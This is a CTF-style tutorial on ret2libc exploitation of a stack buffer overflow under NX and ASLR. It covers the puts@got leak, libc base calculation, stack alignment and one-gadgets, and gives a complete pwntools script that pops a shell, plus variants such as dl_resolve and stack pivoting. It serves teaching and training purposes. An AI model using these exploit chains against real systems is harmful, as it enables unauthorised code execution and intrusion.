Ret2Libc: Bypassing NX Protection
Exploiting a stack buffer overflow with NX enabled using GOT leaking and return-to-libc - a complete two-stage exploit covering libc identification, ASLR defeat via PLT/GOT leak, calling-convention setup, and reliable shell.
Protections
NX enabled (no shellcode on stack), no PIE (fixed PLT/GOT addresses), no stack canary.
This is the classic mid-difficulty CTF binary: nothing exotic, but enough mitigations that a “shellcode on the stack” exploit doesn’t fly. Each protection has to be defeated by a different primitive, and the elegance of ret2libc is that a single overflow chained twice solves all three problems at once.
| Protection | What it stops | What still works |
|---|---|---|
| NX | Executing your own bytes on the stack/heap | Returning into existing executable code (libc) |
| ASLR | Predicting libc / stack / heap addresses | Reading runtime addresses through a leak primitive |
| no PIE | (No new defense - leaves the binary at fixed addresses) | Hardcoding PLT, GOT, .bss, ROP gadgets |
| no canary | (No defense - overflows reach the return address directly) | Direct return-address overwrite |
The plan: use the binary’s own PLT/GOT to leak a libc function’s runtime address (defeats ASLR), compute libc base, jump back into the vulnerable function, and on the second pass send a ROP chain that calls system("/bin/sh").
Why Ret2Libc, Not Pure Shellcode
NX (PROT_EXEC denied on writable pages) means the stack and heap can’t run code. But your exploit primitive (control of the saved return address) doesn’t need to execute new code - it just redirects flow. Returning into libc means returning to already-executable code that the loader has mapped RX. From there, all the libc tooling you’d ever want - system, execve, puts, dlopen, one-gadgets - is reachable as raw function pointers.
Stage 1: Leak libc
Use puts@plt to print puts@got runtime address, loop back to vuln() for a second payload. Calculate libc base from the leak.
Why puts?
Three reasons make puts the canonical leak gadget:
- It is almost always imported (every “Hello, world” program uses it).
- It takes a single pointer argument, so the calling convention is trivial - only
rdito set up on x64. - It writes raw bytes to stdout up to the first
\x00. For an x64 libc address (six meaningful bytes followed by two\x00s), the trailing nulls terminate the print cleanly.
If the binary doesn’t import puts, equivalent alternatives are printf (with "%s"), write (with fd=1, count=8), __libc_start_main references, and puts@plt itself if statically linked.
How the GOT/PLT Leak Works
When the binary calls puts(...), it actually calls puts@plt, a tiny stub:
puts@plt:
jmp qword ptr [puts@got] ; first call: jumps to lazy-binding stub
push <reloc index> ; subsequent calls: jumps directly to libc
jmp _dl_runtime_resolve
After the first invocation, puts@got holds the runtime address of libc!puts. The leak primitive is:
# x64: rdi = first arg
payload = b"A" * OFFSET # fill stack to saved RIP
payload += p64(pop_rdi) # pop rdi; ret (gadget in binary)
payload += p64(elf.got['puts']) # arg = address of puts@got
payload += p64(elf.plt['puts']) # call puts(puts@got)
payload += p64(elf.symbols['main']) # return back to main → second iteration
puts(puts@got) prints the raw 6-byte little-endian libc address to stdout. Read it back, pad to 8 bytes, and unpack:
io.recvline() # consume any prompt
leak = io.recv(6).ljust(8, b'\x00')
libc_puts = u64(leak)
libc_base = libc_puts - libc.symbols['puts']
log.success(f"libc base: {hex(libc_base)}")
Identifying the Right libc
Without the right libc.so.6, your offsets are wrong and the second stage will crash. Three approaches:
- Library bundled with the challenge - most CTFs ship
libc.so.6; trust it and usepwntools.elf.ELF('libc.so.6'). libc-database/ libc.rip - paste two leaked symbol addresses and the service identifies the matching distribution build.- Multiple leaks via
printf("%s", got_entry)to gather enough function offsets for unique fingerprinting.
Returning to main (or vuln)
The trick that makes the chain two-stage is returning to the start of the vulnerable function so the program prompts for input again. On the second pass, ASLR is no longer in your way - you have libc base.
1st payload → leaks libc → returns to main()
2nd payload → uses leaked libc → system("/bin/sh")
This pattern works any time the vuln function is called inside a loop or reachable from main. If main exits (exit()/_exit), substitute a function that returns naturally to main.
Stage 2: Shell
Build a second ROP chain calling system("/bin/sh") using the calculated libc base.
rop2 = ROP(libc)
rop2.system(next(libc.search(b'/bin/sh\x00')))
io.sendlineafter(b'payload:\n', b'A' * 72 + rop2.chain())
io.interactive()
What pwntools Builds Under the Hood
rop2.system(addr_of_binsh) produces effectively:
b"A" * OFFSET
+ p64(pop_rdi_gadget) # gadget is in libc; binary may also have one
+ p64(libc_base + binsh_off) # rdi = "/bin/sh"
+ p64(ret_gadget) # 16-byte alignment if needed
+ p64(libc_base + system_off) # system()
Note next(libc.search(b'/bin/sh\x00')) - every modern glibc contains the literal string "/bin/sh" in .rodata, so you don’t have to write one yourself.
Stack Alignment, Again
If system crashes inside do_system → readline_internal_setup → memchr on a movaps instruction, the cause is almost always misaligned RSP. Insert a bare ret gadget before the system call to add 8 bytes and re-align:
rop = b''
rop += p64(pop_rdi)
rop += p64(binsh)
rop += p64(ret_align) # plain `ret` gadget - 1-byte 0xc3 inside libc
rop += p64(system)
One-Gadget as a Shortcut
Alternative to the full system("/bin/sh") setup, search libc with one_gadget:
one_gadget libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints: rsp & 0xf == 0; rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints: [rsp+0x40] == NULL
A one-gadget executes execve("/bin/sh", ...) if its preconditions are satisfied. When they are, your ROP chain shrinks to:
payload = b'A' * OFFSET + p64(libc_base + ONE_GADGET_OFFSET)
If none of the gadgets’ constraints are satisfiable, fall back to the explicit system chain.
Putting It Together
from pwn import *
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
io = process('./vuln')
# --- Stage 1: leak libc via puts(puts@got), return to main ---
pop_rdi = next(elf.search(asm('pop rdi; ret'), executable=True))
ret_g = next(elf.search(asm('ret'), executable=True))
stage1 = b'A' * 72
stage1 += p64(pop_rdi)
stage1 += p64(elf.got['puts'])
stage1 += p64(elf.plt['puts'])
stage1 += p64(elf.symbols['main'])
io.sendlineafter(b'payload:\n', stage1)
leak = u64(io.recv(6).ljust(8, b'\x00'))
libc.address = leak - libc.symbols['puts']
log.success(f"libc base = {hex(libc.address)}")
# --- Stage 2: system("/bin/sh") ---
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.symbols['system']
stage2 = b'A' * 72
stage2 += p64(pop_rdi)
stage2 += p64(binsh)
stage2 += p64(ret_g) # alignment
stage2 += p64(system)
io.sendlineafter(b'payload:\n', stage2)
io.interactive()
Variations Worth Knowing
execvesyscall ROP: when libc misbehaves under attack (Seccomp restrictssystem), build the chain manually using libc-residentpop rax/rdi/rsi/rdx; syscallgadgets to invokeexecve("/bin/sh", NULL, NULL).mprotect+ shellcode: turn a.bss/heap region executable and jump to copied shellcode. Useful when you want to stage a longer payload than a ROP chain can comfortably express.dl_resolve: against partial RELRO + no leak source, abuse_dl_runtime_resolveto resolve an arbitrary symbol from a fakeElf64_Relayou write into.bss. No libc leak required.- stack pivot: when the buffer is too small for a full chain, pivot RSP into a larger controlled region (
leave; retwith a controlled saved RBP,xchg rsp, raxgadgets, etc.).
Mitigations Worth Calling Out
| Mitigation | Effect |
|---|---|
| Full RELRO | GOT is read-only after loading - puts@got exists but cannot be overwritten. Leak primitive still works; arbitrary-write into GOT does not. |
| PIE | Removes hardcoded PLT/GOT addresses - you need an additional info leak (often via the same vuln) to derive the binary base before stage 1. |
| Stack canary | Direct overwrite of saved RIP no longer works - see the format-string canary bypass post for a chained variant. |
| Shadow stacks (CET) | The saved return address is mirrored in a hardware-protected region. ret2libc fails at the first ret; only signal-frame / SROP-style attacks survive. |
| seccomp filter | execve and system may be blocked outright. Switch to open/read/write chain or orw ROP. |
| Protection | Bypass |
|---|---|
| NX | ret2libc - no shellcode |
| ASLR | GOT leak via puts |
| No PIE | Hardcoded PLT/GOT |
Ret2libc is the gateway technique to ROP. Once you can leak an address, return to a function, and chain a second payload, every fancier exploit (full ROP chains, sigreturn-oriented programming, COP/JOP) is just a variation on the same theme.